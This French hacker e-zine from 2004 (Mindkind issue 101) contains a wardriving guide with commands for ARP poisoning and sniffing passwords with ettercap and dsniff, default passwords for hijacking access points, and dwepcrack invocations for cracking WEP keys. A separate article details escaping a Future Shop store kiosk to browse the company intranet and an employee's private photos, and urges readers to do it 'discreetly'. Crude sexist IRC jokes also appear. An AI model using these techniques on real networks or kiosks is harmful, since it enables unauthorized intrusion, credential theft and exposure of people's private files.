,-----------, ,-----------,,-----------, ,--------,,--------------, | \ / || | / / | \ | \ / || | / / | \ | \ / || |/ / | \ | \ / || / | ,-----, | | \ / || / | | \ | | \/ || \ | | | | | \ / || \ | | | | | \ / || \ | |______/ | | \ / || |\ \ | / | |\ /| || | \ \ | / |______________| \ / |______________||____________| \________\|___MINDKIND101_/ \/ .-. .-. .-. |_ _| |_ _| |_ _| ., ., ., (o_0_o) (o_0_o) (o_0_o) .'\ .---'''''''''''--. /'. .'\ /'. | .' '. | | | | ; | | .' ; '._| |_| : |_| ; ; | .-. \ \ | | .-. |___.--''''''''''''--.___|_| |_ _| \_\-. |_| |_ _| :______.-----------._____; > , (_\ \(_>., /| ________ ________ |\ o_0_o) |\ \ (o_0_o) ( ; ( _.' '._ ) ; ).'\ /'. | \_.'\ /'. ; \ '._.-' .''. '-._.' / ; | ; | |_|__|| | ; | | | | -' : \ '- | |_| : |_| | ||_| : |_| : | ; | ;\ \ | | | _| \ \ | | .' ; .--. ; '. \_\-. |_|\|/__) \_\-. |_| / .' \ .-'.--.'-. / '. \|(_\ \(_> |(_\ \(_> (.' \ / /' '\ \ / '.) |\ \\ | |\ \\ \ \.'-' '-'./ /| | \_\ | | \_\ \.--''' .''. '''--./ |__|__| \ |__|__| \ ( \ .--. / )| | | | | | ; .. / l \ .. ;|_ | _| |_ | _| \ (__) ( ) (__) /__\|/__) (__\|/__) _____ '-.______.-\ /--.______.-' ._ '' .' '--' -.`'----.. .' `. ` / \ ` / | \ \ \ | / | | / \ | | Episode 101 L'Empire Débarque Il y a fort fort longtemps (5 ans) sur un ircd perdu (undernet), lors de la période de grande noirceur, Se sont rassemblés sur le même channel les anciens dirigeants d'une époque désormais oubliée. Au cours des ans ce petit groupe a travaillé à conserver la connaissance et la stabilité des anciens temps dans son petit coin d'univers. Depuis peu, les groupes barbares laisser depuis trop longtemps à eux mêmes pullule et se partagent les restants calcinés d'une scène autre fois prometteuse et respectueuse. Ces barbares non aucune fois n'y loi n'y aucun respect pour ce qui a été fait avant, voir même aucune idée de ce qui a été fait avant. Ces groupes sont donc condamnés à de vaines guerres irc et à réinventer la roue tout en partageant un état de médiocrité tout a fait déplorable Devant ces faits désolent et avec L'intérêt de défendre l'intelligence commune Mindkind est sorti de son isolationnisme et a prit pour mandat de réunir les barbares et d'éduquer ceux qui étaient favorable au savoir du passer, de ramener la paix et la prospérité sur la bonne vielle scène francophone. Il y a peu, les agents de Mindkind on instaurer une coalition de groupe sur #hack.fr undernet et des avants post sur efnet, dalnet, underz et freenode, des appelles on été lancer a différent groupe afin d'obtenir leur participation au projet. Et pour ceux que la réalité pourrait intéresser: .----. | | this area belong to the topic. .------'----'---------------- - ----- - - ------- -- ---------- | '------.----.-- - -------- ---------------------------------- | | | | 01. le patriomoine lemurien LastCall_ | | 02. Wireless addict Last & Peuch : | 03. Lockpicking : Beginner Handbook init_null | . 04. Les problémes dans les filtres Perl Seriousman | | 05. ICMP pas ICBM Sp1d3r | | 06. Port knocking, big word ez task Wyzeman . ' 07. Radio Scrap Qwzykx | | 08. PHP 5 h3 | | 09. Einstein et les 5 nains Seriousman | | 10. Mendel et ses bytes TheTurtle | | 11. Il etait une fois l'ASM Sp1d3r | | 12. Lockpicking et securiter Hacktoad | | 13. Perl part 5 LastCall_ | | 14. LKM hide en 2.6 Mindkind | | .------| |-------- - ---------------------------------- - - | | /' '------| / |------------------------------- - -------------------- - '----' N'oubliez pas de lire (ou scroller) le ezine de A à Z, car comme à l'habitude nous avons des entres articles qui valent la peine d'être lu! (non cpas juste des logs IRC) Dans la version lite vous retrouverez : - Les pics qui vont avec l'article 07 de Qwzykx - Les pics qui vont avec l'article 12 de Hacktoad Dans la version full vous retrouverez : - Même choses que lite - Les pics qui vont avec l'article 11 de Sp1d3r - Un video de lockpicking live de hacktoad - Mindkind leds project in jpg/avi - Une antenne wifi déguisée en morpe ...leon ed nipas nu'd temmos ua setop ses te susej ed ria'l riova issua siarruop ortni'l :SP ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.01 Le Patrimoine Lemurien : aka Histoire de Mindkind ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | Le patrimoine lémurien vous présente : Histoire de Mindkind; finishing the tech tree - Janvier 2004 : On update nos présentations Une autre année de plus à notre actif, cette année starta comme si c'était pour être l'année où il va y avoir le plus de chose (pensée positive ici la). Bien que la liste de projets restait du même nombre, le nombre de personnes impliquées augmentait, et l'implication aussi. - Février 2004 : Go go un ezine... hum. Des idées à gauche et à droite du ezine sont venu, même que le design a été faite. Malheureusement on rentra dans une période dormante coté production et le ezine ne fut pas terminé (même loin de la). Cependant, Wyze profita du moment pour recruter le plus de fresh blood possible. On vit donc apparaître au cours des prochains mois des gens dans Mindkind tel que theturtle, medgi, TheCops, HolyGod, koiz et Fire. - Mars 2004 : j'avoue que la j'ai (last) eu un void mindkind Ben faut dire que personnellement j'avais mes mains pleines dans le LAN ETS, un événement d'ampleur où plusieurs membres et supporter de mkd ont pu s'amuser et mettre leurs compétences en action. Il est cependant a noter que c'est dans cette période la que #mindkind.org (qui était rendu big!) devena #hack.fr en s'alliant avec plus de mondes encore. Ça vous rapelle pas l'ONU? - Avril-mai 2004 C'est la que les gros projets sortirent du sac et que tout le monde ont commencé à vouloir s'impliquer plus.. on a donc mit sur place et à jours certaines des infrastructures, faite des meetings for fun and profit, et etc! Coté recrutement Wyze était encore en frénezi mode, bien que la préparation à la production prennait plus de temps, on vit des nouvelles tête apparaitre tel que Northox, une version carbone de neo avec encore plus de motivation. - Juin 2004 : Nous voila donc en fin de ce mois de juin, ou plein de projets sont en cours, ou pour être développés.. y comprit le ezine. Une nouvelle version du site web va bientôt sortir, et enfin les choses sont plus concrètes que c'étaient. Par contre, étrangement, on dirait que j'en ai moins à dire qu'avant. On dirait que notre culture est maintenant établie, que toute les choses qu'on voulait définir, se faire connaître, builder une base solide, c'est maintenant terminé. C'est donc ainsi que les futurs patrimoines lémuriens ne seront plus axé directement sur le développement de Mindkind, mais bien sur l'influence et le patriotisme qui se développe au sein du groupe, en gros, prochain ezine, ne soyez pas surprit de voir que le premier article se limite à 2 mots: we ruxx. .----------------------------------------------- - - --- - --- | LastCall_ [lastcall at mindkind dot org] www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - < Mindkind tales from IRC > Wyze faudrait parti un fond de recherche mindkind pour ingénierie génétique de chix find / -name chix jhahaha on pourrait les faire cutes pis leurs faire aimer les choses geeks haha qwzykx said "jsuis septique" haha c koi elle vont tous virer lesbienne et se retourner contre nous? :-) nyways cé mal parti, TATU sont pas lesbo.. ca depend du niveau de ton complexe frankeinstein haha haha qwz miserais sur le reformatage software faudrait faire des lois comme celle des robots de asimoz genre - je serai lesclave sexuel de tous geeks - je ne ferai pas de mal a un geek etc etc sauf si cela contervien a la loi #1 hahahaha hahaaha < ----------------------- > ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- ----'------- - -- - - - - ' _|________|__ ¦ | mkd.02 Wireless addict : aka 'WIFI on high time' ' _ ___ __ ____ : | | '-----.------- .-----.------.-----| |----- - ------- - - - ---- - - - ____| |____ |______| ____| |____ | | | | |___ _ ________ ___|___ ____|_________ _______ | Votre entourage trouve que vous sortez pas assé l'été? Tlm vous dit de prendre de l'air? Que vous êtes blêmes? Que les rayons de votre CRT ne sont pas une source de vitamines D ? Qu'il y a autre chose DEHORS? Eh bien Mindkind a la solution : devenez un wireless addict. Enfin vous trouverez le bonheur du plain air, de l'exploration, le tout avec votre laptop favori. Vous pouvez au choix être en voiture (wardriving) ou à pied (warwalking) ou, si vous êtes vraiment crinqué, en avion (warflying). Nous allons donc vous présenter un petit guide de wireless, so called 802.11*, so called wifi, so called wlan0, so called omg je savais pas que yavait autant de packets qui traversent mon corps. Hardware ¯¯¯¯¯¯¯¯ First of all, pour le plein air, il vous faut un laptop (duh). Se promenez avec une tower pis un écran 19pouces en plein centre ville est déconseillé. Mais bon une fois que vous avez le laptop, le reste va vous sembler moins cher à l'achat en plus ;-) Matériel indispensable : la carte wifi. Que ça soit une orinoco ou une marque bâtarde, ya 2 choses importantes a retenir : - que ça soye au moins un Prims2 comme chipset (2.5 présentement) - que ça l'aille une plug pour plugger votre antenne (duh!, la pluspart des cartes n'ont pas de plug! Mais yen a une coupelle avec des plugs, malheureusement dans les magasins "normaux" on en retrouve pas. Entk nous avons faite le tour des magasins genre Future shop, Microbytes sans succès.) Prix moyen pour les cartes haut de gammes (on conseil ceux la pour les vrai wifi addicts): - Senao 200mW PCMCIA : 60-65$ US - Orinoco GOLD 150mW PCMCIA : 50$ US Si jamais vous avez déjà une carte wireless qui n'a pas de plug, ben temps pis. Vous pouvez vous faire du fun pareil (sans que ça vous coute le prix de l'antenne) mais vous serez pas "super powerfull". Cependant on veut pas vous décourager, vous aller trouver bcp de networks quand même, mais c'est juste que vous allez a plus vous mouvoir, et que si vous êtes derrière un mur ou parmi des obstacles c'est moins efficace. Cependant ya tjrs moyen de s'arranger en de gosser vous même votre plug, paske après tout un jour, y va sûrement avoir une carte dlink en vente a 12$ chez Future Shop... Si vous vous sentez gosseux sur le hardware, le jeux vaut la chandelle, surtout si votre carte est Prism2... http://web.archive.org/web/20020204193529/http://kevlar.burdell.org/~will/antenna/ http://web.archive.org/web/20030602083019/c0rtex.com/~will/antenna/ On insiste bcp sur le fait que ça doit être une prism2 comme chipset, car c'est une question de drivers. En faite les prism2 ont tendance a mieux marcher coté backward-compat et sont supporter par plus de tools cool que les autres types. Aussi y'on la réputation d'être moins dla scrap. hehe Si vous pensez qu'une carte wireless on board fait l'affaire.. well vous êtes fou. Mais ça peut dépendre. Nous avons déjà vu certain modèle avoir de la misère a pogner une onde a 1 mètre, et d'autres pogner des ondes DEHORS de plein d'affaire. Ca dépend donc de la conception du laptop, mais nyways ça accotera jamais une vrai carte avec antenne. Next, we need antennas, lots of antennas. Si vous voulez vraiment avoir le plus de "cover range" possible, vous devez vous procurer une antenne. La différence entre une antenne et une carte wireless seule est considérable. Si vous êtes en char, une 6-7dbi avec un aiment (pour tenir l'antenne sur le toit ou encore pour wiper les datas de votre HD si vous vous faites buster) convient parfaitement. A pied aussi c'est chouette. Voici des exemples de modèles avec les prix : - Omnidirectionnel 7dBi ( avec aimant ) : 20$ US http://www.wisp-router.com/images/antennas/mobile/7dB_mobile_clear_background-fixed.jpg - Omnidirectionnel 5dBi ( avec aimant ) : 16$ US http://shop.meconet.de/de/shop/img/h&s_2.4ghz-5dbi-omni.jpg Si vous avez un headquarter à quelque part (disons chez vous) une plus grosse antenne peut vous faire trouver des miracles. Pour ce faire on a 2 choix, des omnidirectionnelle, qui ressemble a un manche a balait et qui pogne dans tout les sens les ondes, ou une bidirectionnelle pour "viser" la cible. hehe Shopping cart : - Omnidirectionnel 12dBi : 69$ US http://www.aerialix.com/12dBi-nf-web.jpg - Directionnel 24dBi : 60$ US http://www.levi.cz/images_k/EIX2615.jpg - Directionnel 19dBi : ~50$ US Evidemment ces antennes la, c'est pas quelque chose qu'on peut transporter sans se faire regarder de travers (remarquer juste avec une petite antenne dans vos mains le monde vous regarde d'un air louche, oublier pas l'excuse suivante : prise de données météo et radio amateur haha). Pour les visuels, les connecteurs de ces antennes la (pour fitter avec les cartes wifi) ressemble à ça : http://www.ldeo.columbia.edu/~vschmidt/Photos/swap/equip-construct/images/mmcx-connector-zoom-2.jpg http://www.rflinx.com/images/Pigtails/Lucent.jpg For the freaks and budgets-men, y'a aussi la possibilité de rajouter a votre panoplie des amplificateurs. amplificateur 1W 2.4GHZ http://www.wirelesslan.gr/photos/2400se.jpg http://www.wifishop.nl/media/hyperamp.jpg Sauf que ça vaut 300$ (on parlait a ceux qui avait du budget la). La plupart des gens s'en servent pour booster le signal de leurs access point avec ça. Par exemple avec un ampli qui boost à 500mW, on peut faire passer un signal de 19dBm à 27dBm. Si en plus de tça on a une antenne qui a de lallure, genre une 12dBi, on gain encore plus et on fini par avoir 39dBm, ce qui est a peu près 2 fois plus fort qu'au début. Donc, oui, si vous avez du budget, un ampli vaut la peine, cependant faite juste attention pour pas finir cuit, parce que vous allez arriver au bureau et le monde vont dire que yon pas commander de poulet. Pour ceux qui veulent compter en détails les gains : http://bcwireless.net/moin.cgi/dBmChart À l'inverse, si vous avez pas de budgets pour des antennes, vous pouvez vous en faire une vous même, il existe plein de site sur le net : http://www.turnpoint.net/wireless/cantennahowto.html http://www.oreillynet.com/cs/weblog/view/wlg/448 http://www.tux.org/~bball/antenna/ Et ça peut être une activité faisable en famille ou dans un cours d'art plastique. Note pour Mindkind : un jour nous allons conquérir le monde avec du wireless, le tout fabriquer par des enfants mexicains en cours d'art plastique. Qui a dit que l'éducation ne paie pas? Concepts ¯¯¯¯¯¯¯¯ Un peu comme avec les yo pis les rappeux, ya des concepts et des mots qui faut comprendre. Principalement pour avoir une conversation qui se tien faut savoir qq termes. De plus, il ne faut pas oublier que du wireless c'Est dans les air (hen pas vrai?) ou plutôt, c'est comme si vous recevez le jus de toute les RJ45 autour de vous, dans une seule interface. AP: Access Point; la machine qui sert de "switch wireless". Y'a plusieurs sorte de AP, ça peut être un ordi avec une carte réseau en mode AP, ça peut être un routeur linksys(dlink, etc) cheapo, un cisco, une bébelle bizzare comme Colubris --> http://www.colubris.com/images/Colubris-AP-72dpi-RGB[1].jpg Modes de connexion : MONITOR : Utilisé pour sniffer les réseaux sans-fils. AD-HOC : Utilisé pour se connecter de carte wireless a carte wireless. MANAGED : Utilisé pour se connecter à un access point. MASTER : ( Disponible seulement avec les drivers hostap linux ) Utilisé pour simulé un access point avec votre prism2/2.5. REPEATER : ( Disponible seulement avec les drivers hostap linux ) Utilisé pour agrandir le rayon d'action d'un access point déja existant. WEP: Wired Equivalent Privacy : Encryption sur le wireless. Le Standard WEP propose des encodages de données moyennant une clé de 40 ou 128bit. 802.11: Les standard IEEE du protocole wireless : Standard IEEE 802.11a, WLAN Longueur d'onde : 5GHz Bandwidth Disponible : 54Mbps, 48Mbps, 36Mbps, 24Mbps, 12Mbps, 6Mbps Mesures de sécurité : WEP, OFDM Range optimal d'opération : 75 ft. intérieur, 150 ft. extérieur Standard IEEE 802.11b, Wi-Fi Longueur d'onde : 2.4GHz Bandwidth Disponible : 22 Mbps*, 11Mbps, 5.5Mbps, 2Mbps, 1Mbps Mesures de sécurité : WEP, OFDM, AES, WPA Range optimal d'opération : 1000 ft. dans des conditions idéales; le plus souvent 150 ft. intérieur, 300 ft. extérieur * Doit posséder des devices qui le supporte Standard IEEE 802.11g, Wi-Fi Longueur d'onde : 2.4GHz Bandwidth Disponible : 108Mbps* ,54Mbps, 48Mbps, 36Mbps, 24Mbps, 12Mbps, 6Mbps Mesures de sécurité : WEP, OFDM, AES, WPA Range optimal d'opération : 1000 ft. dans des conditions idéales; le plus souvent 150 ft. intérieur, 300 ft. extérieur Particularité : Backward compatible avec le 802.11b * Doit posséder des devices qui le supporte Standard IEEE 802.11i, WPA Standard récemment accepter par le IEEE pour l'usage de AES au lieu de DES pour l'encryption des données. Puissance du signal : Il est mesuré en dBm. On peut interpréter la force du signal de deux manières. La première, le nombre de dBm que l'on emet. En fait, on devrais plutot parler de mW dans ce cas présent. Par exemple, une carte bon marcher linksys projette un signal de 15dBm ( ou dB, c'est la même chose ) soit 100mW. Plus le nombre de milliwatt est élevé, plus la couverture est grande. Par exemple, une personne ayant un amplificateur ( comme moi ) envoie 500mW ou 1W (dépendant des modèles) de signal. Deuxième manière, le signal exprimé par les drivers de linux. Ce signal est calculer en dBm ( ou db ). Linux inverse le signal, donc plus vous proche de 0, meilleurs votre signal est si on se fit au SIGNAL non pas à la QUALITÉ DE LIEN, nuance. Channel : de 1 à 11 sur le territoire incroyable du FCC ( USA / CAN ) de 1 à 13 sur le territoire Europeen de 1 à 14 sur le territoire Nipon ( JAPON ) Antennes : Petite précision sur les antennes. Les dBi est une unité de mesure pour désigner un GAIN DE SIGNAL. Donc, une antenne de 5dBi vous permet de capter 5dB de signal de PLUS. Ceci s'additionne a la puissance d'émission de la carte. Une orinoco, par exemple, avec une antenne 5dBi emet 20dB au lieu de 15dB et croyez moi, cela parait énormément. Software ¯¯¯¯¯¯¯¯ Bon ici on va vous faire une référence très rapide de cki a à faire avec le software pour être un wireless addict semi-accompli. Evidemment, pour ce qui est des systèmes unix, vous avez juste a faire un man de la commande. Les explications des mans pages sont quand même assé complètes au sujet du wireless. > Linux - iwconfig: utilisé pour configurer l'interface (wlan0 d'hab) et choisir un ssid iwconfig wlan0 mode managed essid SSIDDUDEVICE iwconfig wlan0 mode managed essid SSIDDUDEVICE key LAKEYENHEX iwconfig wlan0 mode managed essid SSIDDUDEVICE key s:KEYENASCII - ifconfig: utilisé pour setter un ip sur le network wireless (la même affaire qu'un lan normal) ifconfig wlan0 192.168.0.5 netmask 255.255.255.0 ifconfig wlan0 up route add default gw IP D'habitude l'interface va etre wlan0, et les IPs et bien faut vous débrouiller... En général si vous voulez faire du passive sniffing sur le network, prenne de quoi de random dans un ip local, ça la peut d'importance. Dans la plupart des cas, ça va être un network du genre 192.168.0.X donc prenez un ip avec X=69 pis un gateway de 192.168.0.1. Si vous faite une petite recherche sur le net, vous allez aussi voir que certain access point on un range d'ip par défaut, et un ip par défaut (voir la section AP populaires). - dhcpd: pratique car la plupart du temps un réseau wifi roule en dhcp.. fak même pas besoin de se casser la tête pour trouver le range et tout.. c beau la vie hein? - kismet tool qui permet d'avoir une vue d'ensemble de tout les networks environnants. Il en existe une panoplie de tools du genre, nous avons choisis et conseillons kismet parce que ça nous tente, mais c'est simple d'en trouver plein sur le net. (voir les liens a la fin de l'article) Veuillez noter que kismet mets votre carte en mode monitor (donc vous pouvez pas vous plugger en même temps sur un network). Pour enlève le monde monitor vous pouvez faire kismet_unmonitor ou encore enlever votre carte pcmcia et la remettre (c'est plus efficace que l'app de kismet). - Ettercap Tout bon hax0r doit avoir ettercap dans sa poche. Ettercap dans un contexte de wireless vous permet de faire du passive sniffing, ou d'envoyer une panoplie de arp requests dans le but de "comprendre le network". Pour passive sniffing (old version, la new checker le man!) : ettercap -O -i wlan0 Pour sender un paquet de arp request (y faut avoir le netmask de config avec ifconfig, genre un netmask de 255.255.255.0 va vous faire sender 255 arps et 255.255.0.0 65025 arps : ettercap -i wlan0 Simple. Ya aussi moyen de poisonner a mort pour faire que tout le traffic revient vers le AP. Dans ce cas la, avec un wide open AP, le résultat est intéressent : toute le traffic au complet se retrouve envoyer dans les airs, et n'importe quel tappon qui passe par la pogne les packets de tout le monde. Plaisir en perspective ;-) - sniffing for fun - ethereal: pratique pur voir en real time cki se passe sur le network. Si votre carte est en monitor mode vous allez pouvoir voir *toute* (ou presque) ce qui se passe dans les airs. - sniffing for profit- dsniff: avec ce petit sniffeur vous allez pouvoir piquer des passwords. ettercap fait la même job mais fait un arp poison avant (ce qui est mieux) et il permet de dumper les passwords un peu dans la même manière que dsniff, sauf que dsniff est "automatique" (aka dans ettercap il faut faire 2-3 commandes a chaque fois qu'on veut un dump des pass.. et ettercap a tendance a planter alors que dsniff tien le coup, c'est pour cette raison qu'on conseil dsniff.) > BSD - ifconfig Un peu plus de truc qu'en linux, car ya pas de iwconfig en BSD. On peut donc toute faire a partir de ifconfig. Aussi, l'interface en BSD change avec la marque (comme les cartes ethernet quoi!). De plus ya pas vraiment de mode manage et etc : ifconfig wi0 inet 192.168.0.5 netmask 255.255.255.0 ssid SSSIDNAME route add default 192.168.0.1 Ah pis au lieu de dhcpd ya dhclient qui marche bien pour le DHCP en bsd. - wicontrol Dépendant de votre version de BSD (5.0 est plus hot avec le wifi) wicontrol peut vous êtes utile ou pas. En FreeBSD 5.x wicontrol est deprecated et remplacer par tout plein de fonction dans ifconfig, voir le man de ifconfig anyways ;-) wicontrol -i wi0 -f 6 Pour changer la fréquence, cependant on croit remarquer que les drivers ont tendance a s'amuser eux même avec les settings, donc wicontrol sert plutôt a voir où en sont vos settings. De plus pour de quoi de live, si vous avez une prism2, essayer prims2ctl. - dstumbler Tool pratique pour voir les networks live (équivalent de kismet en linux), vous pouvez le starter en mode monitor avec "dstumbler -o". Il vient avec les fameux "bsdairtools". Notez que contrairement à linux, le monitor mode _semble_ s'en aller dès que vous fermer l'app. Cependant si vous gosser beaucoup avec vos config, on vous conseil d'enlever la carte et de la remettre une fois de temps en temps, surtout si vous avez FreeBSD 4.x, qui est plutôt instable (ainsi que les version early de 5.x). - prims2ctl Un autre tool dans la suite bsdairtools, celui la vous permets de changer live les config de la carte wireless si c'est une prism2. Pas mal plus efficace que ifconfig/wicontrol dans 4.x, le tool semble aller "direct jouer avec la carte". Si genre vous voulez tentez de sniffer vous même un channel précis, prism2ctl va vous être utile. - sniffing : les mêmes tools que linux marchent #1! > Windows On a pas full jouer avec Windows, mais on pense que pour certaines personnes ca vaut la peine surtout si votre carte wifi est fuckall compatible dans Unix. D'habitude Windoze offre un meilleur support, et le tout va mieux marcher en Win32. De plus yé possible d'aller chercher des ports des programmes Unix pour windows. Genre ettercap, ethereal sont disponible en version win32. - netstumbler Le tool qui fait la job de kismet/dstumbler. Interface graphique bien sur! AP populaires (and how to hack them) ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Avec le temps vous allez finir par reconnaître les AP lames qui sont configurer par default. D'habitude c'est des linksys ou des dlink. Ce qui a de FUN avec les linksys lames, c'est que les gens laisse ça en "factory default" (donc non configurer). La plupart des tools qui servent a visualiser les networks wireless vous affiche une couleur spéciale (ou une note) lorsque le tout est factory default. Parmi les choses le fun a faire, vous pouvez rajouter les règles que vous voulez dans le routeur wireless, pour ainsi owner le tout facilement. On va pas vous en dire plus, car finalement, entre ça pis configurer son propre access point, ça revient au même. On vous conseil donc de vous amusez avec un routeur wireless ou encore hostap dans linux pour comprendre comment le tout fonctionne. Y'a cependant des choses a retenir, tel que les ip et password par défauts. Par exemple le default password : avec user admin est populaire chez les dlinks. De plus les dlinks ont quelque chose comme 192.168.0.50 comme ip par default (donc pas 192.168.0.1 comme default gateway!). Les listes suivantes vont vous aider: http://www.phenoelit.de/dpl/dpl.html http://phenoelit.darklab.org/cgi-bin/display.pl Avec le temps vous allez voir que ya plusieurs sortes de AP, yen a même des "professionnel". Mais dans la plupart des cas, vous avez qua starter dhcp pour avoir plein d'infos sur le network.. dans la plupart des AP "pro" ya un genre de login screen qui apparaît dès que vous faite une request sur un site web quelconque. Vous pouvez donc, vous essayez de passer par la (avec des users/ pass par default). Il ce peut même que l'interface web nécessite seulement un OK de votre part pour vous mettre online sur le network (sans avoir besoin de réel user/pass, mais en ayant besoin de faire un request http). Donc, n'oublier pas que si un DHCP vous réponds, d'essayer une requete web, ça peut vous en dire beaucoup sur la configuration du réseau. Cracking in details ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Au début on voulait vous expliquer en détails quel sont les points faible du WEP, cependant ya plein de sites qui le font, tel que : http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html Par contre, personnes ne le raconte en seule phrase, alors voici : Dans le wep y'on utiliser le RC4, donc quand t'as des packets assé petit tu peux en ramasser des "weaks" et a partir de tça cé facile d'extrapoler la clef, en plus quand tu ramasse un GROS paquet de packets (hehe) tu peux avoir plein d'initialisation vectors (IV) qui te permettre d'extrapoler encore mieux la key. Donc, si jamais vous tomber sur un network encrypter (et c'est sur que vous allez en trouver) vous pouvez essayer les clefs par default. Mais si votre "cible" est réellement importante, vous pouvez vous assir et sniffer les paquets dans un log pcap (avec tcpdump, ou votre wireless tool favorite (tel que kismet ou dstumbler)). Vous avez donc 2 moyens. Le premier est de brute forcer la key, chose qui peut être très long, si la key est longue. Pas contre, vu les faiblesses du RC4 dans le WEP, vous pouvez ramasser une tonne de paquet et extrapoler la key. Cependant dites vous que quand on dit "tonne de packet" il en faut bcp, voir plusieurs centaines de megs. Principalement avec une encryption en RC4, il faut avoir plusieurs type de IV. Pour du 40bits ya 5 types de IV et pour du 128bits 13. Dans ces types la, il vous en faut 60 de chaque. On a réussi a avoir 150IV pour les types de 1 à 13 en 128bits, mais le type 0 est le plus difficile. Il existe cependant plusieurs méthode de cracking, des heuristiques et etc, et cela dépends des tools que vous avez. Coté tools, en BSD on retrouve dans bsdairtools l'application dwepcrack. Lancé avec dwepcrack -w bleh.log on peut utiliser la méthode qu'on vient d'expliquée (les sortes de IVs). On peut aussi faire du fast brute force "dwepcrack -b bleh.log" ou du extensive brute force avec "dwepcrack -b -e bleh.log". Veuillez noter que le brute force mode a seulement besoin d'un seul paquet, celui le plus petit possible. Dans Linux (et BSD again) on retrouve airsnort. Dans notre cas on trouve que ça marche pas fort (du genre l'interface de airsnort c'Est affreux et faut du live capture et blah blah). En faite, cracker du WEP c'est encore un processus nouveau, donc les tools sont pas full mature. Il existe une série de script perl pour faire la job, qui semble fonctionner : http://wepcrack.sourceforge.net/ Nous avons aussi mit la main sur un petit tool en C qui promet, mais qui malheureusement est au stade plutot alpha (du genre il fonctionne pas ttemps): http://weplab.sourceforge.net/ Dans tout les cas, on vous conseille de vous faire votre propre network wireless avec WEP, de d'assayer de vous cracker vous même. Comme ça vous pourrez régler les tools pour que ça fonctionne. dwepcrack a d'lair être plus mature comparer a weplab. Par exemple weplab demande des settings spéciaux en fonction de votre marque de carte wireless, et d'autres gossage du genre pour utiliser l'heuristique spécial (qui semble puissant, mais est encore alpha!). dwepcrack se compile malheureusement seulement sous BSD... Ce qu'on a oublier ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Même si l'article est pesant, ya des choses qu'on a oubliés. - GPS : c'est tjrs le fun d'avoir un GPS pour garder une trace de où vous avez trouver l'access point. Ya plein de tools et bidules pour le GPS, et la pluspart des progs du style de kismet/dstumbler/netstumbler propose une interface pour le GPS. - Camouflage : Vous avez une 12dbi omni et vous voulez la camoufler pour dehors? Transformer la magiquement en morpe! http://www.mindkind.org/morpe.jpg ou mkd-morpe.jpg dans mindkind101-full.zip Links pour les vendredis soir pluvieux ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ http://www.wardriving.com http://www.wi-foo.com/index-3.html (bonne liste de tools) http://www.stumbler.net/ http://www.kismetwireless.net/ http://www.dachb0den.com/projects/bsd-airtools.html http://www.goonda.org/wireless/prism2/ http://www.seattlewireless.net/ http://hostap.epitest.fi/ http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/ http://www.google.ca/search?q=wifi ;-) This article was sponsored by: - Mr_Peuch - Mr_Spark - LastCall_ - Steeve Oksala <-- lui i pwn :D .----------------------------------------------- - - --- - --- | LastCall_ & Mr_Peuch www.mindkind.org '------ -- ----------- -- - - ---------- - - -- - - -- ----- - - - - - /************************ * Future shop en show * Entre-Article * init_null 2004 *************************/ Pour tout ceux et, dans une autre dimension, celles, qui n'ont rien de mieux à faire que de fouiller des documents privés en public, voici une petite découverte qui peut s'avérrer interessante si vous êtes désespérément à la recherche d'une activitée pour perdre votre temps inintélligeament. Perdant mon temps dans un futureshop pendant qu'un ami magasinais un écran pour écouter des films en conduisant (!?) mon attention s'est tournée vers les terminaux que le magasin met a disposion pour les clients de façon à ce qu'ils commandent eux-mêmes. Ce sont des Pc tournant sous windows XP avec un browser special (probalement fait en c#) basé sur le core de IE qui n'implémente que quelques fonctions comme la barre de bouton principale, pas de menubar ni de barre d'adresse. Notez qu'il se relance dès qu'on le ferme avec une hotkey. J'étais donc en train de chercher une façon d'accéder aux fichier du terminaux quand je me suis rendu compte que la page d'acceuil tournais avec une protection ssl (le merveilleux cadenas), j'ai donc fait consulté les propriétés de la page en utilisant le deuxieme bouton gracieusement non désactivé de la sourie sur la page web et clické sur le petit bouton "Certificats" dans la fenêtre qui venait d'apparaitre ce qui a du c oup ouvert la petite fenêtre d'information du certificat. Sous l'onglet "détails" j'ai été surpris de retrouver le bouton "Copier dans un fichier" Activé. Cette option sert en général à exporter les informations pour une consultation ultérieure. Clickant sur le bouton "suivant", l'assistant d'exportation est apparu et ma aidé à choisir un format d'exportation, j'ai donc choisi le format binaire codé (celui par défaut) et j'ai appuyé sur "next". C'est alors que le système ma stupéfait, en laissant à ma disposition un bouton "parcourir". Je me suis donc empressé de clicker dessu pour enfin recevoir un common dialog me permettant de naviguer dans l'ordinateur. j'ai donc inscrit "*.*" dans la case "nom du fichier" et j'ai appuyer sur "enter" ce qui me donna une vision sur tout les fichiers disponibles. Malheureusement le pc lui-même ne me laissait pas beaucoup d'access sur les fichiers mais j'ai tout de même décidé d'aller vérifier si il y avait quelques machines dans les favoris locaux (Accèss qu'on aurait d'ailleur du désactiver à l'utlisateur). J'ai été agréablement surpris de retrouver plus d'une centaines de groupe de travail qui eux contiennent plusieurs machines dont le site web, les machines de comptabilité, ceux des techniciens, etc... Bienvenue dans l'intranet de futureshop. Biensur vous n'avez pas write access mais c'est tout de même très interessant de visioner les documents et leur contenu surtout quand il s'agit de grosses demandes de soumission ou encore de photos privés d'un des employé qui se laisse trainer. Amusez-vous bien et rapellez vous que vous êtes dans un future shop donc soyez discrets. Si vous trouvez des informations interessantes et que vous etes willing à faire une suite à cet article, il y aura surment de la place dans le prochaine zine (heheh). init_null. ___ ___ ____ ___ __ _______ __ __ ______ | | | | | ; | | | |___ | |___ | | | .------. | | .- ---' , '-----'------'-----'--- 